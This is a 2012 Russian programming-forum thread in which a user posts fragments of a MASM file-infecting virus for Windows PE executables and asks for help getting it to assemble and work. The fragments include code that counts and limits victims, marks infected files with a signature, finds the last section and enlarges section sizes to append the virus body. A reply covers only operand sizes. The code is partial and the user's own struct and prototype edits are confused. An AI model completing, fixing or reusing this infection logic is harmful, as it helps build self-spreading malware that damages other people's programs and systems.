Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 18.09.2012, 18:10   #11
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

У меня еще отсались вопросы.

Непонятны это размеры указателей EDI и ESI в отдельных местах программы:

Код:
Обнуляем счетчик заражений
    lea  esi, infect_count
    and  byte ptr [esi
, 0ESI - это 32 - разрядный регистр общего назначения DWORD, то есть 4 байта, здесь почемуто используется byte - 1 байт, код по идее должен выглядеть следующем образом:

Код:
lea  esi, infect_count
    and  DWORD ptr [esi], 0
далее код:
Код:
; Обнуляем данные
    lea  esi, WIN32_FIND_DATA
    add  esi, delta_off
    mov  ecx, WIN32_FIND_DATA_END - WIN32_FIND_DATA - 1
@@zero_WIN32_FIND_DATA:
    and byte  ptr [esi + ecx], 0
    loop @@zero_WIN32_FIND_DATA
    and byte  ptr [esi], 0
в строке: and byte ptr [esi + ecx], 0 и and byte ptr [esi], 0 вместо DWORD стоит BYTE, но это же 2 4-х байтовых регистра-? Далее по коду аналогичные ошибки:[/CODE]

Код:
; Далее - код инфицирования
    mov edi, pAllocMem          ; Начало прочитанного файла
    mov edi, delta_off
    add edi, [edi + 3Ch]        ; VA of PE header
    cmp dword ptr [edi], 5045h   ; Проверка на валидность ...
    jne _Exit

    add edi, 4Ch								
    cmp dword ptr [edi], 10041986h  ; Поле Reserv. Проверяем, заражен ли файл 
                                    ; нашим вирусом
    je  _CloseFile
    mov dword ptr [edi], 10041986h  ; если нет, то ставим метку о заражении
    sub edi, 4Ch

     ; Ищем последнюю секцию
_SearchLastSection:
    movzx ecx, word ptr [edi + 6]     ; Количество элементов (счетчик) в 
                                      ; таблице секций ObjectTable
    movzx esi, word ptr [edi + 14h]   ; Размер опционального заголовка.
; Перепрыгиваем через опциональный заголовок. Попадаем на дескриптор первой 
; секции:
    lea   esi, [edi+esi+18h]          ; VA первой секции
    mov   ebx, [esi + 14h]            ; Наибольшее значение PhysicalOffset
    push  esi                         ; сохраняем в стеке
    mov   edx, [esi + 0Ch]            ; VA первой секции
    push  edi в этом фрагменте кода:
Код:
; Находим физическое смещение точки входа жертвы
    ; Ищем описатель секции с SectionRVA = BaseOfCode
_SearchCodeSection:
    mov   edi, pAllocMem                 ; Начало прочитанного файла
    add   edi, [edi + 3Ch]               ; VA of PE header
    movzx ecx, word ptr [edi + 6]        ; Количество элементов в таблице 
                                         ; секций
    movzx esi, word ptr [edi + 14h]
и далее

  add  edi, [edi + 3Ch]                ; edi = VA of PE header
    add  [esi + 10h], dword ptr Virsize  ; Увеличим физический размер секции
    mov  eax, [edi + 3Ch]                ; Берем выравнивающий фактор
                                         ; FileAlign
    dec  eax
    add  [esi + 10h], eax
    not  eax
    and  [esi + 10h], eax

    ; Выравниваем виртуальный размер
_AlgnVrSz:
    mov   ecx, [esi + 08h]               ; Берем виртуальный размер
    jecxz _PtchImSz                      ; Прыгаем, если размер = 0
    add   [esi + 08h], dword ptr Virsize ; Увеличим виртуальный размер секции
    mov   eax, [edi + 38h]               ; Берем выравнивающий фактор
                                         ; ObjectAlign
    shl   eax, 1                         ; Увеличиваем в 2 раза (для запаса 
                                         ; памяти)
    dec   eax
    add   [esi + 08h], eax
    not   eax
    and   [esi + 08h], eax
используется значение word - 16 бит. В выше приведенном фрагменте кода используются word и byte причем byte - 8 бит - это вообще самый младшый регистр базовых 32-разрядных регистров EAX EBX и EDX и еще в 2-х строках
cmp byte ptr [esi], MaxVictimNumber ну здесь поменяли и
.IF word ptr [eax] != 5A4Dh || word ptr [eax + edi] != 4550h
ну здеб я думаю 5A4Dh и 4550h при переводе в шестнадацатеричную систему исчисления, занимают, как раз 16 бит и записываются в младшую часть регистра EAX.

Последний раз редактировалось djonatan98; 18.09.2012 в 18:23.
djonatan98 вне форума Ответить с цитированием
Старый 18.09.2012, 18:15   #12
Пепел Феникса
Старожил
 
Аватар для Пепел Феникса
 
Регистрация: 28.01.2009
Сообщений: 21,000
По умолчанию

Цитата:
но это же 2 4-х байтовых регистра-?
вы бы асм подучили сначала.
это обращение к байту по адресу, а не к регистру.
Хорошо поставленный вопрос это уже половина ответа. | Каков вопрос, таков ответ.
Программа делает то что написал программист, а не то что он хотел.
Функции/утилиты ждут в параметрах то что им надо, а не то что вы хотите.
Пепел Феникса вне форума Ответить с цитированием
Старый 18.09.2012, 18:25   #13
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Один вопрос остался, почему здесь проставлен word-?

Код:
 .IF word ptr [eax] != 5A4Dh || word ptr [eax + edi] != 4550h

Последний раз редактировалось djonatan98; 18.09.2012 в 18:32.
djonatan98 вне форума Ответить с цитированием
Старый 18.09.2012, 19:06   #14
Пепел Феникса
Старожил
 
Аватар для Пепел Феникса
 
Регистрация: 28.01.2009
Сообщений: 21,000
По умолчанию

byte это один байт.
word это два байта.
dword - 4 байта.

проблемы?
Хорошо поставленный вопрос это уже половина ответа. | Каков вопрос, таков ответ.
Программа делает то что написал программист, а не то что он хотел.
Функции/утилиты ждут в параметрах то что им надо, а не то что вы хотите.
Пепел Феникса вне форума Ответить с цитированием
Старый 18.09.2012, 22:02   #15
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Все разобрался.Спасибо
djonatan98 вне форума Ответить с цитированием
Старый 18.09.2012, 22:06   #16
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Что за причины могут вызывать ошибку:

Код:
masm fatal error a1000 cannot open file .asm
при том,что объектный файл создается
djonatan98 вне форума Ответить с цитированием
Старый 19.09.2012, 19:52   #17
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Что бы программа в конец заработала нужно описать(объявить) все структуры из IMAGE_NT_HEADERS, где нибудь приводится описание структур,как их можно объявить в коде-?


Код:
 IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
djonatan98 вне форума Ответить с цитированием
Старый 20.09.2012, 21:11   #18
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Объявил структуры на masm32, компилятор выдал ошибки ссылаясь на struct и OPTIONAL_HEADER32

что сделал не так-?

Код:
fd_structur STRUCT
fd_IMAGE_DATA_DIRECTORY 
  fd_VirtualAddress dd  ? 
  fd_isize          dd  ? 
fd_struct ENDS
Код:
fd_struct STRUCT 
  fd_IMAGE_OPTIONAL_HEADER32 
  fd_Magic                         dw  ? 
  fd_MajorLinkerVersion            db  ? 
  fd_MinorLinkerVersion            db  ? 
  fd_SizeOfCode                    dd  ? 
  fd_SizeOfInitializedData         dd  ? 
  fd_SizeOfUninitializedData       dd  ? 
  fd_AddressOfEntryPoint           dd  ? 
  fd_BaseOfCode                    dd  ? 
  fd_BaseOfData                    dd  ? 
  fd_ImageBase                     dd  ? 
  fd_SectionAlignment              dd  ? 
  fd_FileAlignment                 dd  ? 
  fd_MajorOperatingSystemVersion   dw  ? 
  fd_MinorOperatingSystemVersion   dw  ? 
  fd_MajorImageVersion             dw  ? 
  fd_MinorImageVersion             dw  ? 
  fd_MajorSubsystemVersion         dw  ? 
  fd_MinorSubsystemVersion         dw  ? 
  fd_Win32VersionValue             dd  ? 
  fd_SizeOfImage                   dd  ? 
  fd_SizeOfHeaders                 dd  ? 
  fd_CheckSum                      dd  ? 
  fd_Subsystem                     dw  ? 
  fd_DllCharacteristics            dw  ? 
  fd_SizeOfStackReserve            dd  ? 
  fd_SizeOfStackCommit             dd  ? 
  fd_SizeOfHeapReserve             dd  ? 
  fd_SizeOfHeapCommit              dd  ? 
  fd_LoaderFlags                   dd  ? 
  fd_NumberOfDirectories           dd  ? 
  fd_DataDirectory                IMAGE_DATA_DIRECTORY 
  fd_Directories          rb IMAGE_DATA_DIRECTORY*15 
fd_struct ENDS
djonatan98 вне форума Ответить с цитированием
Старый 24.09.2012, 23:38   #19
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Описал структуры, которы используются программой:

Код:
ExitProcess PROTO :DWORD
_GetWindowsDirectoryA PROTO :DWORD, :DWORD 
_GetSystemDirectoryA  PROTO :DWORD  
dwFileSize PROTO :DWORD 
pAllocMem  PROTO :DWORD
dwAlignedFileSize PROTO :DWORD 
hFile PROTO :DWORD
hFind PROTO :DWORD

Код:
fd_struc STRUC
  fd_SizeOfCode                    dd  ? 
  fd_AddressOfEntryPoint           dd  ? 
  fd_BaseOfCode                    dd  ? 
  fd_BaseOfData                    dd  ? 
  fd_ImageBase                     dd  ? 
  fd_SectionAlignment              dd  ? 
  fd_FileAlignment                 dd  ? 
  fd_Win32VersionValue             dd  ? 
  fd_SizeOfImage                   dd  ? 
  fd_SizeOfHeaders                 dd  ? 
  fd_CheckSum                      dd  ? 
  fd_LoaderFlags                   dd  ? 
  fd_NumberOfDirectories           dd  ? 
fd_struc ENDS
выдается ошибка в 355 строке кода:

Код:
 mov   hFind, eax
нужно другое решение я пробовал:

Код:
push   hFind, eax
конструкция не работает и второй вопрос, не могу найти прототипы функций:

Код:
_GetSystemDirectoryA  PROTO :DWORD  
dwFileSize PROTO :DWORD 
pAllocMem  PROTO :DWORD
dwAlignedFileSize PROTO :DWORD 
hFile PROTO :DWORD
Уйму времени потратил на ассемблирование, но hFind и hFile не дописать ни в структуры ни в локалки, лишь объявить прототипы этих переменных в качестве API функций, при ассемблировании удалось избавиться от кучи логическитх ошибок в самом коде программы, хочу довести дело до конца,что бы проассемблировалать и она заработала в конец!!

Последний раз редактировалось djonatan98; 25.09.2012 в 15:38.
djonatan98 вне форума Ответить с цитированием
Старый 30.09.2012, 13:23   #20
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Конструкция заработала:

Код:
.386
.model flat, stdcall 
option casemap:none

pushz macro szText:VARARG
    local nexti
    call  nexti
    db    szText, 0
nexti:
endm

includelib \masm32\lib\kernel32.lib

ExitProcess PROTO :DWORD

_GetWindowsDirectoryA PROTO :DWORD, :DWORD 
_GetSystemDirectoryA  PROTO :DWORD,:DWORD
dwFileSize  PROTO: DWORD,: DWORD,: DWORD 
pAlloCman   PROTO: DWORD,: DWORD,: DWORD 
hFile PROTO :DWORD
hFind PROTO :DWORD 

fd_struc STRUC
  fd_SizeOfCode                    dd  ? 
  fd_AddressOfEntryPoint           dd  ? 
  fd_BaseOfCode                    dd  ? 
  fd_ImageBase                     dd  ? 
  fd_SectionAlignment              dd  ? 
  fd_FileAlignment                 dd  ? 
  fd_Win32VersionValue             dd  ? 
  fd_LoaderFlags                   dd  ? 
  fd_SizeOfOptionalHeader          dw  ?
  fd_NumberOfFunctions             dd  ? 
  fd_NumberOfNames                 dd  ? 
  fd_AddressOfFunctions            dd  ? 
  fd_AddressOfNames                dd  ? 
  fd_AddressOfNameOrdinals         dd  ? 
  fd_VirtualSize                   dd  ? 
  fd_VirtualAddress                dd  ?
fd_struc ENDS
но нужно узнать прототипы 2-х функций

Цитата:
pallocMen
Цитата:
dwalignedFileSize
или где можно по ним документацию скачать-?

Последний раз редактировалось djonatan98; 30.09.2012 в 13:32.
djonatan98 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Программа с применением записей и программа с применение множеств smert99 Помощь студентам 0 16.06.2011 23:14
Программа открыается если есть другая программа. bookkc Паскаль, Turbo Pascal, PascalABC.NET 12 14.10.2009 20:09
[PASCAL]Программа создания файла, программа обработки файла Виколяшка Фриланс 7 23.09.2009 17:38
Программа создания файла, программа обработки файла [PASCAL] Виколяшка Помощь студентам 1 22.09.2009 22:56